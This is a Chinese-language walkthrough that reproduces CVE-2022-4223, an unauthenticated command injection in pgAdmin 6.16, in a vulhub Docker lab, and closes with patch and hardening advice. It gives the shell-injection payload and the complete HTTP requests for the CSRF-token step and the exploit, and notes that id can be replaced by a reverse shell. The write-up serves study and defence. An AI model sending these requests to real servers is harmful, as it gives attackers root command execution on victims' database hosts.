pgAdmin 6.16 及更早版本未授权远程命令执行漏洞 CVE-2022-4223 复现与原理剖析
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
导读
本文以 vulhub 仓库中的 pgAdmin 漏洞环境为依托,完整复现 CVE-2022-4223:pgAdmin 6.16 及更早版本由于对validate_binary_pathAPI 的用户输入路径缺少安全校验,攻击者无需登录即可在服务器上以 root 权限执行任意命令。读完本文,你将掌握该漏洞的触发链路、CSRF Token 绕过细节、完整的 Docker 环境搭建与利用流程,以及基于 6.17 官方补丁的修复思路。
漏洞概述
pgAdmin 是 PostgreSQL 生态中最著名的开源数据库管理与开发平台,提供基于 Web 的可视化管理界面。其服务端内置了一个 HTTP API,用于校验用户选择的 PostgreSQL 外部工具(如pg_dump、pg_restore)的路径是否合法——服务端会实际执行该工具来探测其对应的 PostgreSQL 版本。
CVE-2022-4223 正是出在这个路径校验逻辑上:pgAdmin 6.16 及更早版本对用户传入的utility_path没有做合适的验证,导致**未授权(无需登录)**的攻击者可以在目标服务器上执行任意命令,属于典型的命令注入漏洞。该漏洞在 6.17 版本中修复,官方公告编号为 GHSA-3v6v-2x6p-32mc,相关修复提交为:
799b6d8f7c10e920c9e67c2c18d381d6320ca604461849c2763e680ed2296bb8a753ca7aef546595
vulhub 在 pgadmin/CVE-2022-4223 目录下提供了可直接复现的 Docker 环境,镜像版本锁定为pgadmin4==6.16。
漏洞原理:路径校验接口如何变成命令执行入口
接口定位:POST /misc/validate_binary_path
pgAdmin 在前端「首选项 → 路径」中允许用户为pg_dump、pg_restore等工具配置可执行文件路径。保存时前端会调用POST /misc/validate_binary_path,服务端拿到 JSON 中的utility_path字段后,会将其当作系统命令执行,通过读取输出来判断该工具属于哪个 PostgreSQL 版本。
问题在于:
- 该接口没有要求用户已通过身份认证,未授权即可访问;
utility_path直接拼接进 shell 命令,未对引号、分号、注释符等 shell 元字符做过滤或转义;- 服务端进程以什么用户运行,命令就以什么权限执行——在本文的 Docker 环境中即 root。
注入载荷拆解
复现时使用的核心载荷为:
{"utility_path":"a\";id;#"}将其逐段拆解,可清晰看到注入过程:
| 片段 | 作用 |
|---|---|
a | 拼入命令的普通字符,作为命令前缀 |
\" | 转义的双引号,闭合服务端拼接时打开的双引号 |
; | shell 命令分隔符,结束前一段命令 |
id | 真正要执行的系统命令(可替换为任意命令) |
# | shell 注释符,将服务端原本拼接的尾部内容(如--version)注释掉,避免影响注入命令的语法 |
也就是说,若服务端实际构造的命令形如"a;id;#" --version,#之后的--version全部被当作注释,id得以独立执行,其输出会作为接口返回值回显给攻击者。
漏洞环境搭建
一键启动
在 pgadmin/CVE-2022-4223 目录下执行:
docker compose up -d服务启动后访问http://your-ip:5050即可看到 pgAdmin 默认登录页面。对应编排文件见 docker-compose.yml:
version: '2' services: web: image: vulhub/pgadmin:6.16 ports: - "5050:5050"仅有一个web服务,将容器内 pgAdmin 默认监听端口 5050 映射到宿主机。
基础镜像构成
仓库的 base/pgadmin/6.16 目录给出了该镜像的构建方式,便于理解漏洞运行环境:
- Dockerfile(base/pgadmin/6.16/Dockerfile):基于
python:3.10,通过pip install -r /tmp/requirements.txt安装依赖,并写入环境变量PGADMIN_SETUP_EMAIL=vulhub@example.com、PGADMIN_SETUP_PASSWORD=vulhub(内置一个已知的初始化账号,但利用漏洞本身无需登录);工作目录为 pgAdmin 安装目录,启动命令为pgadmin4。 - config_local.py(base/pgadmin/6.16/config_local.py):
SERVER_MODE = True开启服务器模式,DEFAULT_SERVER = '0.0.0.0'使服务监听所有网卡,便于外部访问;DEBUG = False。 - requirements.txt(base/pgadmin/6.16/requirements.txt):锁定
pgadmin4==6.16,同时包含 Flask 2.1.3、Werkzeug 2.1.2、Flask-Security-Too 4.1.6 等 Web 框架与安全组件,其 CSRF 保护机制正是复现过程中需要绕过的关键环节。
漏洞复现:从 CSRF Token 到命令执行
pgAdmin 启用了 CSRF 防护,直接构造 POST 请求会被拦截。因此完整的利用分为两步。
第一步:获取 CSRF Token 与会话
复现前,先发送如下数据包获取 CSRF token(无需登录):
GET /login HTTP/1.1 Host: your-ip:5050 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7 Connection: close返回包中会同时给出一个新的pgadmin_session会话 Cookie 和csrf_token(响应中的response字段):
从响应头可以看到Server: Werkzeug/2.1.2 Python/3.10.14,与 requirements.txt 中锁定的版本一致,Set-Cookie携带会话标识。
第二步:构造恶意 validate_binary_path 请求
将上一步获取的会话 Cookie 与 CSRF Token 填入以下数据包并发送:
POST /misc/validate_binary_path HTTP/1.1 Host: your-ip:5050 Content-Length: 27 X-pgA-CSRFToken: [csrf-token] Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7 Cookie: pga4_session=[session-id] Connection: close {"utility_path":"a\";id;#"}注意三个关键点:
- CSRF 头名称为
X-pgA-CSRFToken(注意大小写),值为第一步拿到的 token; - Cookie 名称是
pga4_session(旧版本命名)而非截图中的pgadmin_session,以实际返回值为准; Content-Type必须为application/json,utility_path为注入点。
请求发出后,id命令已被成功执行,命令输出直接回显在响应中:
响应中success为true,errorinfo为null,且回显内容为uid=0(root) gid=0(root) groups=0(root)——证明id以root 权限执行成功,漏洞利用完全成立。将载荷中的id替换为任意命令(如反弹 shell)即可获得服务器控制权。
利用流程小结
GET /login ──► 获得 pga4_session + csrf_token │ ▼ POST /misc/validate_binary_path (携带 Cookie 与 X-pgA-CSRFToken) body: {"utility_path":"a\";id;#"} │ ▼ 服务端拼接执行命令 ──► 命令输出回显,攻击完成整个过程中未使用任何登录凭据,仅依赖接口自身的会话与 CSRF Token 校验,而这些校验对未授权访问者同样开放,因此属于未授权远程命令执行。
漏洞影响面与修复方案
受影响版本与修复版本
- 受影响:pgAdmin 6.16 及更早版本;
- 已修复:pgAdmin 6.17 起修复,修复方式是彻底加固
validate_binary_path接口:对utility_path执行白名单式路径校验,禁止包含 shell 元字符的输入,同时对接口的调用者身份进行校验,不再允许未授权访问。
vulhub 仓库的 base/pgadmin 目录中还提供了 7.6、9.1、9.10 等后续版本的镜像基础文件(Dockerfile、config_local.py),均不包含该漏洞,可作为升级后的参照环境。
加固建议
- 升级 pgAdmin 至 6.17 或更高版本,这是根治该漏洞的唯一可靠手段;
- 若无法立即升级,应在网关/WAF 层面对
POST /misc/validate_binary_path接口做访问控制与敏感字符拦截,并限制管理端口的对外开放范围; - 遵循最小权限原则运行 pgAdmin 服务,避免以 root 等高权限账号启动(本仓库实验环境为便于演示以 root 运行,生产环境切勿照搬);
- 关注官方安全公告(GHSA-3v6v-2x6p-32mc),及时跟进 pgAdmin 后续版本的安全修复。
延伸阅读
本仓库还收录了 pgAdmin 的其他安全漏洞环境,可对照学习:
- pgAdmin CVE-2023-5002 相关环境
- pgAdmin CVE-2025-13780 相关环境
- pgAdmin CVE-2025-2945 相关环境
参考链接
- pgAdmin 官方修复提交 1:
799b6d8f7c10e920c9e67c2c18d381d6320ca604 - pgAdmin 官方修复提交 2:
461849c2763e680ed2296bb8a753ca7aef546595 - 官方安全公告:GHSA-3v6v-2x6p-32mc
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考